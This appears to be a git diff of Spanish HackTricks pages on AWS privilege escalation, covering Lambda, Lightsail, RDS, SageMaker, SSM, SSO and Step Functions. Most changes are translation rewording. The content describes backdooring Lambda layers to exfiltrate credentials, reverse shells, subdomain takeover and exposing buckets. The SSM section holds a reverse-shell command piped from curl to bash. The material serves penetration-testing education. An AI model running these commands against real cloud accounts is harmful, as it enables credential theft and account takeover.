Pueden **crear una nueva función Lambda y asignarle un rol IAM existente**, otorgando a la función los permisos asociados con ese rol. El usuario puede entonces **escribir y subir código a esta función Lambda (con un rev shell, por ejemplo)**.\
|
||||
Una vez que la función está configurada, el usuario puede **activar su ejecución** y las acciones previstas invocando la función Lambda a través de la API de AWS. Este enfoque permite efectivamente al usuario realizar tareas de manera indirecta a través de la función Lambda, operando con el nivel de acceso otorgado al rol IAM asociado con ella.\\
|
||||
Pueden **crear una nueva función Lambda y asignarle un rol IAM existente**, otorgando a la función los permisos asociados con ese rol. El usuario puede luego **escribir y subir código a esta función Lambda (con un rev shell, por ejemplo)**.\
|
||||
Una vez que la función está configurada, el usuario puede **activar su ejecución** y las acciones previstas invocando la función Lambda a través de la API de AWS. Este enfoque permite efectivamente al usuario realizar tareas indirectamente a través de la función Lambda, operando con el nivel de acceso otorgado al rol IAM asociado con ella.\\
|
||||
|
||||
Un atacante podría abusar de esto para obtener un **rev shell y robar el token**:
|
||||
```python:rev.py
|
||||
@@ -107,7 +107,7 @@ aws dynamodb create-table --table-name my_table \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
|
||||
```
|
||||
Ahora es posible **conectar la función Lambda a la tabla DynamoDB** creando **un mapeo de origen de eventos**:
|
||||
Ahora es posible **conectar la función Lambda a la tabla DynamoDB** mediante **la creación de un mapeo de origen de eventos**:
|
||||
```bash
|
||||
aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
@@ -143,7 +143,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
Los usuarios que poseen el permiso **`lambda:UpdateFunctionCode`** tienen el potencial de **modificar el código de una función Lambda existente que está vinculada a un rol de IAM.**\
|
||||
Los usuarios que tienen el permiso **`lambda:UpdateFunctionCode`** tienen el potencial de **modificar el código de una función Lambda existente que está vinculada a un rol de IAM.**\
|
||||
El atacante puede **modificar el código de la lambda para exfiltrar las credenciales de IAM**.
|
||||
|
||||
Aunque el atacante puede no tener la capacidad directa de invocar la función, si la función Lambda ya existe y está operativa, es probable que se active a través de flujos de trabajo o eventos existentes, facilitando así indirectamente la ejecución del código modificado.
|
||||
@@ -177,7 +177,7 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **código** en tu función lambda pero **almacenándolo por separado**, de modo que el código de la función puede permanecer pequeño y **varias funciones pueden compartir código**.
|
||||
|
||||
Dentro de lambda, puedes verificar las rutas desde donde se carga el código de python con una función como la siguiente:
|
||||
Dentro de lambda, puedes verificar las rutas desde donde se carga el código python con una función como la siguiente:
|
||||
```python
|
||||
import json
|
||||
import sys
|
||||
@@ -208,20 +208,20 @@ Por ejemplo, supongamos que la lambda está usando la biblioteca boto3, esto cre
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
Puedes abrir `./lambda_layer/boto3/__init__.py` y **agregar la puerta trasera en el código global** (una función para exfiltrar credenciales o obtener un shell inverso, por ejemplo).
|
||||
Puedes abrir `./lambda_layer/boto3/__init__.py` y **agregar la puerta trasera en el código global** (una función para exfiltrar credenciales o obtener un shell reverso, por ejemplo).
|
||||
|
||||
Luego, comprime ese directorio `./lambda_layer` y **sube la nueva capa de lambda** en tu propia cuenta (o en la de la víctima, pero es posible que no tengas permisos para esto).\
|
||||
Ten en cuenta que necesitas crear una carpeta de python y poner las bibliotecas allí para sobrescribir /opt/python/boto3. Además, la capa debe ser **compatible con la versión de python** utilizada por la lambda y si la subes a tu cuenta, debe estar en la **misma región:**
|
||||
Luego, comprime ese directorio `./lambda_layer` y **sube la nueva capa de lambda** en tu propia cuenta (o en la de las víctimas, pero puede que no tengas permisos para esto).\
|
||||
Ten en cuenta que necesitas crear una carpeta python y poner las bibliotecas allí para sobrescribir /opt/python/boto3. Además, la capa necesita ser **compatible con la versión de python** utilizada por la lambda y si la subes a tu cuenta, debe estar en la **misma región:**
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
Ahora, haz que la capa de lambda subida **sea accesible por cualquier cuenta**:
|
||||
Ahora, haz que la capa de lambda **sea accesible por cualquier cuenta**:
|
||||
```bash
|
||||
aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
--action lambda:GetLayerVersion --principal *
|
||||
```
|
||||
Y adjunta la capa lambda a la función lambda de la víctima:
|
||||
Y adjunta la capa de lambda a la función lambda de la víctima:
|
||||
```bash
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <func-name> \
|
||||
|
||||
@@ -4,14 +4,14 @@
|
||||
|
||||
## Lightsail
|
||||
|
||||
Para más información sobre Lightsail, consulta:
|
||||
Para más información sobre Lightsail consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> Es importante tener en cuenta que Lightsail **no utiliza roles de IAM pertenecientes al usuario** sino a una cuenta gestionada por AWS, por lo que no puedes abusar de este servicio para privesc. Sin embargo, **datos sensibles** como código, claves API e información de bases de datos podrían encontrarse en este servicio.
|
||||
> Es importante tener en cuenta que Lightsail **no utiliza roles de IAM pertenecientes al usuario** sino a una cuenta administrada por AWS, por lo que no puedes abusar de este servicio para privesc. Sin embargo, **datos sensibles** como código, claves API e información de bases de datos podrían encontrarse en este servicio.
|
||||
|
||||
### `lightsail:DownloadDefaultKeyPair`
|
||||
|
||||
@@ -90,7 +90,7 @@ aws set-resource-access-for-bucket \
|
||||
|
||||
### `lightsail:UpdateBucket`
|
||||
|
||||
Con este permiso, un atacante podría otorgar a su propia cuenta de AWS acceso de lectura sobre buckets o incluso hacer que los buckets sean públicos para todos:
|
||||
Con este permiso, un atacante podría otorgar a su propia cuenta de AWS acceso de lectura sobre los buckets o incluso hacer que los buckets sean públicos para todos:
|
||||
```bash
|
||||
# Grant read access to exterenal account
|
||||
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
|
||||
@@ -101,7 +101,7 @@ aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPub
|
||||
# Bucket private but single objects can be public
|
||||
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
|
||||
```
|
||||
**Impacto Potencial:** Acceso potencial nuevo a buckets con información sensible.
|
||||
**Impacto Potencial:** Acceso potencial a buckets con información sensible.
|
||||
|
||||
### `lightsail:UpdateContainerService`
|
||||
|
||||
@@ -115,7 +115,7 @@ aws update-container-service \
|
||||
|
||||
### `lightsail:CreateDomainEntry`
|
||||
|
||||
Un atacante con este permiso podría crear un subdominio y apuntarlo a su propia dirección IP (toma de subdominio), o crear un registro SPF que le permita falsificar correos electrónicos desde el dominio, o incluso establecer el dominio principal a su propia dirección IP.
|
||||
Un atacante con este permiso podría crear un subdominio y apuntarlo a su propia dirección IP (toma de subdominio), o crear un registro SPF que le permita falsificar correos electrónicos del dominio, o incluso establecer el dominio principal a su propia dirección IP.
|
||||
```bash
|
||||
aws lightsail create-domain-entry \
|
||||
--domain-name example.com \
|
||||
@@ -125,7 +125,7 @@ aws lightsail create-domain-entry \
|
||||
|
||||
### `lightsail:UpdateDomainEntry`
|
||||
|
||||
Un atacante con este permiso podría crear un subdominio y apuntarlo a su propia dirección IP (toma de control del subdominio), o elaborar un registro SPF que le permita falsificar correos electrónicos del dominio, o incluso establecer el dominio principal en su propia dirección IP.
|
||||
Un atacante con este permiso podría crear un subdominio y apuntarlo a su propia dirección IP (toma de control del subdominio), o crear un registro SPF que le permita falsificar correos electrónicos del dominio, o incluso establecer el dominio principal en su propia dirección IP.
|
||||
```bash
|
||||
aws lightsail update-domain-entry \
|
||||
--domain-name example.com \
|
||||
|
||||
+1
-1
@@ -10,7 +10,7 @@ aws mediapackage rotate-channel-credentials --id <value>
|
||||
```
|
||||
### `mediapackage:RotateIngestEndpointCredentials`
|
||||
|
||||
Cambia el nombre de usuario y la contraseña del primer IngestEndpoint del Canal. (Esta API está en desuso para RotateIngestEndpointCredentials)
|
||||
Cambia el nombre de usuario y la contraseña del primer IngestEndpoint del Canal. (Esta API está obsoleta para RotateIngestEndpointCredentials)
|
||||
```bash
|
||||
aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
|
||||
```
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## MQ
|
||||
|
||||
Para más información sobre MQ, consulta:
|
||||
Para más información sobre MQ consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-mq-enum.md
|
||||
|
||||
@@ -12,11 +12,11 @@ Para más información sobre MSK (Kafka) consulta:
|
||||
|
||||
### `msk:ListClusters`, `msk:UpdateSecurity`
|
||||
|
||||
Con estos **privilegios** y **acceso a la VPC donde están los brokers de kafka**, podrías agregar la **autenticación Ninguna** para acceder a ellos.
|
||||
Con estos **privilegios** y **acceso a la VPC donde están los brokers de kafka**, podrías agregar la **autenticación None** para acceder a ellos.
|
||||
```bash
|
||||
aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
|
||||
```
|
||||
Necesitas acceso a la VPC porque **no puedes habilitar la autenticación None con Kafka expuesto públicamente**. Si está expuesto públicamente, si se utiliza la autenticación **SASL/SCRAM**, podrías **leer el secreto** para acceder (necesitarás privilegios adicionales para leer el secreto).\
|
||||
Si se utiliza la autenticación **basada en roles de IAM** y **kafka está expuesto públicamente**, aún podrías abusar de estos privilegios para darte permisos para acceder.
|
||||
Si se utiliza la autenticación **basada en roles de IAM** y **kafka está expuesto públicamente**, aún podrías abusar de estos privilegios para obtener permisos para acceder.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+1
-1
@@ -4,7 +4,7 @@
|
||||
|
||||
## Organizaciones
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-organizations-enum.md
|
||||
|
||||
@@ -71,7 +71,7 @@ SELECT * from ttemp;
|
||||
// Delete table
|
||||
DROP TABLE ttemp;
|
||||
```
|
||||
Si tuvieras **credenciales de AWS en bruto** también podrías usarlas para acceder a datos de S3 con:
|
||||
Si tuvieras **credenciales de AWS en bruto**, también podrías usarlas para acceder a los datos de S3 con:
|
||||
```sql
|
||||
SELECT aws_s3.table_import_from_s3(
|
||||
't', '', '(format csv)',
|
||||
@@ -89,7 +89,7 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
|
||||
|
||||
Dentro del mysql ejecuta **`show variables;`** y si las variables como **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, tienen valores, puedes asumir que la base de datos está preparada para acceder a datos de S3.
|
||||
|
||||
Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes verificar si el clúster tiene algún **rol asociado**, lo que generalmente significa acceso a servicios de AWS).
|
||||
Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes verificar si el clúster tiene algún **rol asociado**, lo que generalmente significa acceso a los servicios de AWS).
|
||||
|
||||
Ahora, para **leer un archivo dentro de un bucket** necesitas conocer la ruta completa. Puedes leerlo con:
|
||||
```sql
|
||||
@@ -130,8 +130,8 @@ Un atacante con los permisos `rds:CreateDBInstance` y `iam:PassRole` puede **cre
|
||||
> Algunos requisitos del rol/perfil de instancia para adjuntar (de [**aquí**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
|
||||
|
||||
> - El perfil debe existir en tu cuenta.
|
||||
> - El perfil debe tener un rol de IAM que Amazon EC2 tenga permisos para asumir.
|
||||
> - El nombre del perfil de instancia y el nombre del rol de IAM asociado deben comenzar con el prefijo `AWSRDSCustom`.
|
||||
> - El perfil debe tener un rol IAM que Amazon EC2 tenga permisos para asumir.
|
||||
> - El nombre del perfil de instancia y el nombre del rol IAM asociado deben comenzar con el prefijo `AWSRDSCustom`.
|
||||
```bash
|
||||
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
|
||||
```
|
||||
@@ -139,9 +139,9 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst
|
||||
|
||||
### `rds:AddRoleToDBInstance`, `iam:PassRole`
|
||||
|
||||
Un atacante con los permisos `rds:AddRoleToDBInstance` y `iam:PassRole` puede **agregar un rol especificado a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia.
|
||||
Un atacante con los permisos `rds:AddRoleToDBInstance` y `iam:PassRole` puede **agregar un rol específico a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia.
|
||||
|
||||
> [!WARNING]
|
||||
> [!ADVERTENCIA]
|
||||
> La instancia de base de datos debe estar fuera de un clúster para esto.
|
||||
```bash
|
||||
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
|
||||
|
||||
@@ -82,13 +82,13 @@ from 'dynamodb://ProductCatalog'
|
||||
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
|
||||
```
|
||||
> [!WARNING]
|
||||
> La tabla de Amazon DynamoDB que proporciona los datos debe ser creada en la misma región de AWS que tu clúster, a menos que utilices la opción [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) para especificar la región de AWS en la que se encuentra la tabla de Amazon DynamoDB.
|
||||
> La tabla de Amazon DynamoDB que proporciona los datos debe ser creada en la misma región de AWS que tu clúster, a menos que uses la opción [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) para especificar la región de AWS en la que se encuentra la tabla de Amazon DynamoDB.
|
||||
|
||||
### EMR
|
||||
|
||||
Consulta [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
|
||||
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
Un atacante con esos permisos sobre buckets interesantes podría ser capaz de secuestrar recursos y escalar privilegios.
|
||||
|
||||
Por ejemplo, un atacante con esos **permisos sobre un bucket de cloudformation** llamado "cf-templates-nohnwfax6a6i-us-east-1" podrá secuestrar la implementación. El acceso se puede otorgar con la siguiente política:
|
||||
Por ejemplo, un atacante con esos **permisos sobre un bucket de cloudformation** llamado "cf-templates-nohnwfax6a6i-us-east-1" podrá secuestrar la implementación. El acceso puede ser otorgado con la siguiente política:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -34,7 +34,7 @@ Por ejemplo, un atacante con esos **permisos sobre un bucket de cloudformation**
|
||||
]
|
||||
}
|
||||
```
|
||||
Y el secuestro es posible porque hay una **pequeña ventana de tiempo desde el momento en que se carga la plantilla** en el bucket hasta el momento en que la **plantilla se despliega**. Un atacante podría simplemente crear una **función lambda** en su cuenta que se **active cuando se envíe una notificación del bucket**, y **secuestra** el **contenido** de ese **bucket**.
|
||||
Y el secuestro es posible porque hay una **pequeña ventana de tiempo desde el momento en que se carga la plantilla** en el bucket hasta el momento en que se **despliega la plantilla**. Un atacante podría simplemente crear una **lambda function** en su cuenta que se **active cuando se envíe una notificación del bucket**, y **secuestra** el **contenido** de ese **bucket**.
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ aws sagemaker create-presigned-notebook-instance-url \
|
||||
```
|
||||
Navega a la URL con el navegador y haz clic en \`Open JupyterLab\` en la parte superior derecha, luego desplázate hacia abajo a la pestaña “Launcher” y en la sección “Other”, haz clic en el botón “Terminal”.
|
||||
|
||||
Ahora es posible acceder a las credenciales de metadatos del rol IAM.
|
||||
Ahora es posible acceder a las credenciales de metadatos del Rol IAM.
|
||||
|
||||
**Impacto Potencial:** Privesc al rol de servicio de sagemaker especificado.
|
||||
|
||||
@@ -71,7 +71,7 @@ Un atacante con esos permisos podrá crear un trabajo de entrenamiento, **ejecut
|
||||
> cd /tmp/rev
|
||||
> sudo docker build . -t reverseshell
|
||||
>
|
||||
> # Sube a ECR
|
||||
> # Sube esto a ECR
|
||||
> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
|
||||
> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
|
||||
> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
|
||||
|
||||
+2
-2
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Para más información sobre el administrador de secretos, consulta:
|
||||
Para más información sobre Secrets Manager, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
@@ -20,7 +20,7 @@ aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
|
||||
|
||||
### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
|
||||
|
||||
Con los permisos anteriores es posible **dar acceso a otros principales/cuentas (incluso externas)** para acceder al **secreto**. Tenga en cuenta que para **leer secretos cifrados** con una clave KMS, el usuario también necesita tener **acceso a la clave KMS** (más información en la [página de enumeración de KMS](../aws-services/aws-kms-enum.md)).
|
||||
Con los permisos anteriores es posible **dar acceso a otros principales/cuentas (incluso externos)** para acceder al **secreto**. Tenga en cuenta que para **leer secretos cifrados** con una clave KMS, el usuario también necesita tener **acceso a la clave KMS** (más información en la [KMS Enum page](../aws-services/aws-kms-enum.md)).
|
||||
```bash
|
||||
aws secretsmanager list-secrets
|
||||
aws secretsmanager get-resource-policy --secret-id <secret_name>
|
||||
|
||||
@@ -20,7 +20,7 @@ aws sns publish --topic-arn <value> --message <value>
|
||||
|
||||
### `sns:Subscribe`
|
||||
|
||||
Un atacante podría suscribirse a un tema de SNS, potencialmente obteniendo acceso no autorizado a mensajes o interrumpiendo el funcionamiento normal de las aplicaciones que dependen del tema.
|
||||
Un atacante podría suscribirse a un tema de SNS, obteniendo potencialmente acceso no autorizado a mensajes o interrumpiendo el funcionamiento normal de las aplicaciones que dependen del tema.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
```
|
||||
@@ -28,7 +28,7 @@ aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
|
||||
### `sns:AddPermission`
|
||||
|
||||
Un atacante podría otorgar acceso a un tema de SNS a usuarios o servicios no autorizados, potencialmente obteniendo más permisos.
|
||||
Un atacante podría otorgar acceso no autorizado a usuarios o servicios a un tema de SNS, potencialmente obteniendo más permisos.
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
```
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SSM
|
||||
|
||||
Para más información sobre SSM, consulta:
|
||||
Para más información sobre SSM consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
|
||||
--document-name "AWS-RunShellScript" --output text \
|
||||
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
|
||||
```
|
||||
**Impacto Potencial:** Privesc directo a los roles de IAM de EC2 adjuntos a instancias en ejecución con agentes SSM en funcionamiento.
|
||||
**Impacto Potencial:** Privesc directo a los roles IAM de EC2 adjuntos a instancias en ejecución con agentes SSM en funcionamiento.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Un atacante con el permiso **`ssm:StartSession`** puede **iniciar una sesión similar a SSH en instancias** que ejecutan el agente SSM de Amazon y **comprometer el rol de IAM** que se ejecuta dentro de él.
|
||||
Un atacante con el permiso **`ssm:StartSession`** puede **iniciar una sesión similar a SSH en instancias** que ejecutan el agente Amazon SSM y **comprometer el rol IAM** que se ejecuta dentro de él.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-instance-information
|
||||
@@ -52,18 +52,18 @@ aws ssm start-session --target "$INSTANCE_ID"
|
||||
#### Privesc a ECS
|
||||
|
||||
Cuando las **tareas de ECS** se ejecutan con **`ExecuteCommand` habilitado**, los usuarios con suficientes permisos pueden usar `ecs execute-command` para **ejecutar un comando** dentro del contenedor.\
|
||||
Según [**la documentación**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), esto se hace creando un canal seguro entre el dispositivo que usas para iniciar el comando “_exec_” y el contenedor objetivo con SSM Session Manager. (SSM Session Manager Plugin necesario para que esto funcione)\
|
||||
Según [**la documentación**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), esto se hace creando un canal seguro entre el dispositivo que usas para iniciar el comando “_exec_” y el contenedor objetivo con SSM Session Manager. (Se necesita el SSM Session Manager Plugin para que esto funcione)\
|
||||
Por lo tanto, los usuarios con `ssm:StartSession` podrán **obtener un shell dentro de las tareas de ECS** con esa opción habilitada simplemente ejecutando:
|
||||
```bash
|
||||
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
|
||||
```
|
||||
.png>)
|
||||
|
||||
**Impacto Potencial:** Privesc directo a los roles `ECS`IAM adjuntos a tareas en ejecución con `ExecuteCommand` habilitado.
|
||||
**Impacto Potencial:** Privesc directo a los roles de `ECS`IAM adjuntos a tareas en ejecución con `ExecuteCommand` habilitado.
|
||||
|
||||
### `ssm:ResumeSession`
|
||||
|
||||
Un atacante con el permiso **`ssm:ResumeSession`** puede re-**iniciar una sesión similar a SSH en instancias** que ejecutan el Agente SSM de Amazon con un estado de sesión SSM **desconectado** y **comprometer el Rol IAM** que se ejecuta dentro de él.
|
||||
Un atacante con el permiso **`ssm:ResumeSession`** puede re-**iniciar una sesión similar a SSH en instancias** que ejecutan el Agente de Amazon SSM con un estado de sesión SSM **desconectado** y **comprometer el Rol IAM** que se ejecuta dentro de él.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-sessions
|
||||
@@ -76,7 +76,7 @@ aws ssm resume-session \
|
||||
|
||||
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
|
||||
|
||||
Un atacante con los permisos mencionados podrá listar los **parámetros SSM** y **leerlos en texto claro**. En estos parámetros frecuentemente puedes **encontrar información sensible** como claves SSH o claves API.
|
||||
Un atacante con los permisos mencionados podrá listar los **parámetros de SSM** y **leerlos en texto claro**. En estos parámetros, a menudo puedes **encontrar información sensible** como claves SSH o claves API.
|
||||
```bash
|
||||
aws ssm describe-parameters
|
||||
# Suppose that you found a parameter called "id_rsa"
|
||||
|
||||
+7
-7
@@ -1,4 +1,4 @@
|
||||
# AWS - SSO & identitystore Privesc
|
||||
# AWS - SSO y escalación de privilegios en identitystore
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -21,13 +21,13 @@ Una forma fácil de escalar privilegios en casos como este sería tener un permi
|
||||
|
||||
### `identitystore:CreateGroupMembership`
|
||||
|
||||
Con este permiso es posible agregar un usuario dentro de un grupo para que herede todos los permisos que tiene el grupo.
|
||||
Con este permiso es posible agregar un usuario a un grupo para que herede todos los permisos que tiene el grupo.
|
||||
```bash
|
||||
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
|
||||
```
|
||||
### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet`
|
||||
|
||||
Un atacante con este permiso podría otorgar permisos adicionales a un Permission Set que se concede a un usuario bajo su control.
|
||||
Un atacante con este permiso podría otorgar permisos adicionales a un Permission Set que se le concede a un usuario bajo su control.
|
||||
```bash
|
||||
# Set an inline policy with admin privileges
|
||||
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
|
||||
@@ -50,7 +50,7 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
|
||||
```
|
||||
### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet`
|
||||
|
||||
Un atacante con este permiso podría otorgar permisos adicionales a un Conjunto de Permisos que se concede a un usuario bajo su control.
|
||||
Un atacante con este permiso podría otorgar permisos adicionales a un Permission Set que se concede a un usuario bajo su control.
|
||||
```bash
|
||||
# Set AdministratorAccess policy to the permission set
|
||||
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
|
||||
@@ -60,10 +60,10 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
|
||||
```
|
||||
### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet`
|
||||
|
||||
Un atacante con este permiso podría otorgar permisos adicionales a un Conjunto de Permisos que se concede a un usuario bajo su control.
|
||||
Un atacante con este permiso podría otorgar permisos adicionales a un Permission Set que se concede a un usuario bajo su control.
|
||||
|
||||
> [!WARNING]
|
||||
> Para abusar de estos permisos en este caso, necesitas conocer el **nombre de una política administrada por el cliente que esté dentro de TODAS las cuentas** que se verán afectadas.
|
||||
> Para abusar de estos permisos en este caso, necesitas conocer el **nombre de una política gestionada por el cliente que esté dentro de TODAS las cuentas** que se verán afectadas.
|
||||
```bash
|
||||
# Set AdministratorAccess policy to the permission set
|
||||
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
|
||||
@@ -93,7 +93,7 @@ aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInsta
|
||||
```
|
||||
### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`
|
||||
|
||||
Un atacante con este permiso puede eliminar la asociación entre una política gestionada por el cliente y el conjunto de permisos especificado. Es posible otorgar más privilegios a través de **desvincular una política gestionada (política de denegación)**.
|
||||
Un atacante con este permiso puede eliminar la asociación entre una política gestionada por el cliente y el conjunto de permisos especificado. Es posible otorgar más privilegios mediante **la separación de una política gestionada (política de denegación)**.
|
||||
```bash
|
||||
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
|
||||
```
|
||||
|
||||
+7
-7
@@ -59,11 +59,11 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
|
||||
"status": "SUCCEEDED"
|
||||
}
|
||||
```
|
||||
**Impacto Potencial**: Ejecución no autorizada y manipulación de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.
|
||||
**Impacto Potencial**: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.
|
||||
|
||||
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
|
||||
|
||||
Un atacante con **`states:CreateStateMachine`** & **`iam:PassRole`** podría crear una máquina de estados y proporcionarle cualquier rol de IAM, lo que permitiría el acceso no autorizado a otros servicios de AWS con los permisos del rol. A diferencia de la técnica de privesc anterior (**`states:TestState`** & **`iam:PassRole`**), esta no se ejecuta por sí misma, también necesitarás tener los permisos **`states:StartExecution`** o **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **no está disponible para flujos de trabajo estándar**, **solo para máquinas de estados expresas**) para iniciar una ejecución sobre la máquina de estados.
|
||||
Un atacante con **`states:CreateStateMachine`** & **`iam:PassRole`** podría crear una máquina de estados y proporcionarle cualquier rol de IAM, lo que permitiría el acceso no autorizado a otros servicios de AWS con los permisos del rol. A diferencia de la técnica de privesc anterior (**`states:TestState`** & **`iam:PassRole`**), esta no se ejecuta por sí misma, también necesitarás tener los permisos de **`states:StartExecution`** o **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **no está disponible para flujos de trabajo estándar**, **solo para máquinas de estados expresas**) para iniciar una ejecución sobre la máquina de estados.
|
||||
```bash
|
||||
# Create a state machine
|
||||
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
|
||||
@@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn <value> [--name <value>] [--input
|
||||
# Start a Synchronous Express state machine execution
|
||||
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
```
|
||||
